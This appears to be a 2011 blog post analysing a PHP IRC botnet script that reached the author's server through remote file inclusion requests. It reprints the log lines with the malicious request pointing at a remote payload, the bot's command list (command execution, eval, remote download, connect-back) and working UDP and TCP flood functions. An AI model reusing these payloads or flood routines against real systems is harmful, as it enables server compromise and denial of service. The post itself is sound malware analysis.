Throwing Fire

Exploring a Simple Yet Effective Web Server Botnet

07 May 2011

Yesterday I noticed something strange in one of my access logs:

81.19.x.x - [06/May/2011:06:54:40 -0400] "GET /?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 13519 "-" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007"
81.19.x.x - [06/May/2011:06:54:41 -0400] "GET /?_SERVER[DOCUMENT_ROOT]=http://xxxxx.110mb.com/upload/tone.jpg?? HTTP/1.1" 200 13519 "-" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007"
81.19.x.x - [06/May/2011:06:54:43 -0400] "GET /?_SERVER[DOCUMENT_ROOT]=http://xxxxx.110mb.com/upload/tone.jpg?? HTTP/1.1" 200 13519 "-" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007"

Somebody was trying to change my web server's document root through a malformed request. If successful, my web server would download the file specified, tone.jpg, and serve it to the client rather than the normal front page. But why would they try to get it to do that?

Upon looking at tone.jpg in a text editor, it turned out that it's not actually an image, but a PHP file. Interesting—so if the web server were "misconfigured enough", it would try to serve the JPG file as a fully interpreted PHP page...

It still wasn't completely clear what the person behind these requests was trying to achieve—but when I took a closer look at the JPG file, the file's header suggested that their motives weren't exactly benign:

<? 
/*
 *
 *  #crew@corp. since 2003
 *  edited by: devil__ and MEIAFASE <xxxxx@xxxxxx.org> <xxxxxxxx@xxxxxx.org>
 *  Friend: LP <xxxxxxx@xxxxxxx.gov>
 *  COMMANDS:
 *
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 *
 */

The PHP code is actually a lightweight IRC client which activates when the page is loaded, picks a nickname consisting of an acronym identifying the compromised server software ('Z' for Apache, 'W' for IIS, and 'X' for Xitami) along with a series of random integers, and connects to the creator's IRC server. It then joins a channel and idles, listening for any of the commands above. When they are triggered, it runs their respective functions (also defined within the PHP file) via the web server.

Any web server that runs this PHP file essentially becomes part of a botnet.

I was interested to know exactly how many servers were in control of the person behind our mysterious client—the fact that the pre-set channel was "#FromIRC" suggests that there are quite a few, and that different means are used to seize control of them—so I joined the pre-configured IRC network and channel, pretending to be just another vulnerable web server.

(IRC networks are commonly used as "command centers" by botnet creators.)

Sure enough, the channel had several idlers, all of whom satisfied the nickname pattern defined by the script, and responded to commands, e.g. .user and .info. Running .die killed the clients—but, alas, only temporarily. As soon as the creator—who wasn't in the channel at the time—returns, all it takes to reconnect the bots is another batch of "JPG requests" to the vulnerable web servers.

The channel was registered with ChanServ, but the creator took care to hide his real hostname:

/msg chanserv info #FromIRC
04:27 -ChanServ- Information for channel #FromIRC:
04:27 -ChanServ-         Founder: bExxxOd
04:27 -ChanServ-     Description: fato
04:27 -ChanServ-      Registered: May 06 20:31:27 2011 MSD
04:27 -ChanServ-       Last used: May 07 19:08:21 2011 MSD

/msg nickserv info bExxxOd
04:28 -NickServ- bExxxOd is edIrc User
04:28 -NickServ-   Time registered: May 06 20:26:55 2011 MSD
04:28 -NickServ-    Last seen time: May 07 20:32:43 2011 MSD
04:28 -NickServ- Last quit message: Quit: JedIrc 3 destroyed by the OS

/whowas bExxxOd
04:28 [xxxxirc2] -!- bExxxOd [X@X.GOX.LOX]
04:28 [xxxxirc2] -!-  was      : edIrc User
04:28 [xxxxirc2] -!-  server   : xxxxxx.xxxxirc.org [Sat May  7 16:32:40 2011]
04:28 [xxxxirc2] -!- End of WHOWAS

It's difficult to tell just how many servers bExxxOd has control of since he or she can spawn IRC clients from a list of vulnerable servers when they need to, rather than have them idle around in the channel.

It's interesting to note that there is a function specifically for sending mail via the compromised servers. Web servers are typically on networks that don't restrict traffic on port 25 (SMTP), and have an abundance of available bandwidth—a serious treat in the hands of spammers. And, of course, with web servers, a couple dozen tcpflood or udpflood launched against a single target could be devastating:

<?
function udpflood($host,$packetsize,$time) {
    $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
    $packet = "";
    for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
    $timei = time();
    $i = 0;
    while(time()-$timei < $time) {
        $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
    fwrite($fp,$packet);
    fclose($fp);
    $i++;
    }
    $env = $i * $packetsize;
    $env = $env / 1048576;
    $vel = $env / $time;
    $vel = round($vel);
    $env = round($env);
    $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}

function tcpflood($host,$packets,$packetsize,$port,$delay)
{
    $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
        $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
        {
            $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
            return 0;
        }
        else
        {
            fwrite($fp,$packet);
            fclose($fp);
        }
        sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
}
?>

Unfortunately, this "#crew@corp bot" is but one of hundreds of similar toolkits.

If you're curious about the complete contents of the PHP file, a Google search will yield many variants of it.